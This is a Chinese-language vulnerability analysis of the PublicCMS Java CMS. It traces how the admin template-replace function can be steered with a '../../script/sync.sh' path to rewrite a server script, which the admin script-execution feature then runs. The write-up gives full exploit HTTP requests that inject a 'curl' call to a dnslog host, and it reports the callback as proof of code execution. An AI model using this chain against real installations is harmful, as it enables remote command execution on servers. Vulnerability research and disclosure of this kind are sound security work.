PublicCMS是采用2023年主流技术开发的开源JAVACMS系统。由天津黑核科技有限公司开发,架构科学,轻松支撑上千万数据、千万PV;支持可视化编辑,多维扩展,全文搜索,全站静态化,SSI,动态页面局部静态化,URL规则完全自定义等为您快速建站,建设大规模站点提供强大驱动,也是企业级项目产品原型的良好选择。
项目地址
GitHub - sanluan/PublicCMS: More than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, EnglishMore than 2 million lines of code modification continuously iterated for 7 years to modernize java cms, easily supporting tens of millions of data, tens of millions of PV; Support static, server side includes; Currently has 0.0005% of the world's users (w3techs provided data), language support in Chinese, Japanese, English - sanluan/PublicCMShttps://github.com/sanluan/PublicCMS/tree/master
漏洞分析
后台有一个执行脚本的功能
分析下后台代码
/**
* @author Qicz
*
* @param site
* @param admin
* @param command
* @param parameters
* @param request
* @param model
* @return
* @since 2021/6/4 13:59
*/
@RequestMapping(value = "execScript")
@Csrf
public String execScript(@RequestAttribute SysSite site, @SessionAttribute SysUser admin, String command, String[] parameters,
HttpServletRequest request, ModelMap model) {
if (ControllerUtils.errorCustom("noright", !siteComponent.isMaster(site.getId()), model)) {
return CommonConstants.TEMPLATE_ERROR;
}
String log = null;
try {
log = scriptComponent.execute(command, parameters, 1);
} catch (IOException | InterruptedException e) {
log = e.getMessage();
}
logOperateService.save(new LogOperate(site.getId(), admin.getId(), admin.getDeptId(), LogLoginService.CHANNEL_WEB_MANAGER,
"execscript.site", RequestUtils.getIpAddress(request), CommonUtils.getDate(), log));
return CommonConstants.TEMPLATE_DONE;
}
关注两个参数 command与parameters,正常操作参数会被赋予 &command=sync.sh¶meters=1
跟入execute方法
public class ScriptComponent {
private static final Pattern PARAMETER_PATTERN = Pattern.compile("^[a-zA-Z0-9][a-zA-Z0-9_\\-\\.]{1,191}$");
private static final String[] COMMANDS = { "sync.bat", "sync.sh", "backupdb.bat", "backupdb.sh" };
public String execute(String command, String[] parameters, long timeoutHours)
throws FileNotFoundException, IOException, InterruptedException {
if (CommonUtils.notEmpty(command) && ArrayUtils.contains(COMMANDS, command.toLowerCase())) {
String dir = CommonConstants.CMS_FILEPATH + "/script";
String[] cmdarray;
if ("backupdb.bat".equalsIgnoreCase(command) || "backupdb.sh".equalsIgnoreCase(command)) {
String databaseConfiFile = CommonConstants.CMS_FILEPATH + CmsDataSource.DATABASE_CONFIG_FILENAME;
Properties dbconfigProperties = CmsDataSource.loadDatabaseConfig(databaseConfiFile);
String userName = dbconfigProperties.getProperty("jdbc.username");
String database = dbconfigProperties.getProperty("database", "publiccms");
String password = dbconfigProperties.getProperty("jdbc.password");
String encryptPassword = dbconfigProperties.getProperty("jdbc.encryptPassword");
if (null != encryptPassword) {
password = VerificationUtils.decrypt(VerificationUtils.base64Decode(encryptPassword),
CommonConstants.ENCRYPT_KEY);
}
cmdarray = new String[] { database, userName, password };
} else {
cmdarray = new String[parameters.length];
if (null != parameters) {
int i = 0;
for (String c : parameters) {
if (!PARAMETER_PATTERN.matcher(c).matches()) {
cmdarray[i] = "";
} else {
cmdarray[i] = c;
}
i++;
}
}
}
String filepath = new StringBuilder(dir).append("/").append(command).toString();
File script = new File(filepath);
if (!script.exists()) {
try (InputStream inputStream = getClass()
.getResourceAsStream(new StringBuilder("/script/").append(command).toString())) {
FileUtils.copyInputStreamToFile(inputStream, script);
}
}
if (command.toLowerCase().endsWith(".sh")) {
cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
cmdarray = ArrayUtils.insert(0, cmdarray, "sh");
} else {
cmdarray = ArrayUtils.insert(0, cmdarray, filepath);
}
Process ps = Runtime.getRuntime().exec(cmdarray, null, new File(dir));
ps.waitFor(timeoutHours, TimeUnit.HOURS);
BufferedReader br = new BufferedReader(new InputStreamReader(ps.getInputStream()));
StringBuilder sb = new StringBuilder();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
}
return command + " not exits";
}
}
函数经过一系列调用处理,触发了一个Runtime.getRuntime().exec 这是相当危险的方法了
`Runtime.getRuntime().exec(cmdarray, null, new File(dir))`
这行代码的作用是在指定目录下执行构建好的命令和参数,并获取执行结果。这样可以实现动态执行命令的功能,灵活地处理不同命令的执行需求。
这样看的话,命令执行比较有限制,因为我们只能控制脚本名词 和参数
找找后台的其他共能点
这里似乎有全局替换的功能
尝试了一下的确可以替换
那么能否替换我们的脚本内容呢?
分析下请求包
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1
Host: 192.168.116.128:8080
Content-Length: 231
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.116.128:8080
Referer: http://192.168.116.128:8080/admin/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25
Connection: close
_csrf=27f0e838-371b-4207-b689-7078a11597be&word=shtest&replace=sh&replaceList%5B0%5D.path=%2Findex_zh_CN.html&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=%2Findex.html&replaceList%5B1%5D.indexs=0
word= 这个应该的原有 replace= 是要替换的 path= 这个非常可能是要替换的文件路径
分析下index.html 和 sync.sh 的文件位置关系
按照现在的逻辑 index.html 替换成../../script/sync.sh
这里大可不必分析源码,大胆测一下,将"stty -echo" 替换成我们的命令"curl 5s6w5i.dnslog.cn"
漏洞复现
POST /admin/cmsTemplate/replace?navTabId=cmsTemplate/list HTTP/1.1 Host: 192.168.116.128:8080 Content-Length: 231 Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.6045.105 Safari/537.36 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://192.168.116.128:8080 Referer: http://192.168.116.128:8080/admin/ Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: _ga=GA1.1.2049876865.1708327587; _ga_ZCZHJPMEG7=GS1.1.1709204007.4.0.1709204007.0.0.0; Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1709286898; wp-settings-time-1=1709712213; __test=1; PHPSESSID=24f91b2fbd6bac87f2d9367daf080f5d; PUBLICCMS_ANALYTICS_ID=3a91f834-b96d-451b-a953-6739bcff6ca0; PUBLICCMS_ADMIN=1_27f0e838-371b-4207-b689-7078a11597be; JSESSIONID=4A1EE8F4304421DFE63BE59ABDB77B25 Connection: close _csrf=27f0e838-371b-4207-b689-7078a11597be&word=stty%20-echo&replace=curl%205s6w5i.dnslog.cn&replaceList%5B0%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B0%5D.indexs=0&replaceList%5B0%5D.indexs=1&replaceList%5B1%5D.path=..%2F..%2Fscript%2Fsync.sh&replaceList%5B1%5D.indexs=0
前端响应 成功。
我们去执行脚本,参数随便设一个1
dnslog回显了 漏洞利用成功
后续修复
多增加了校验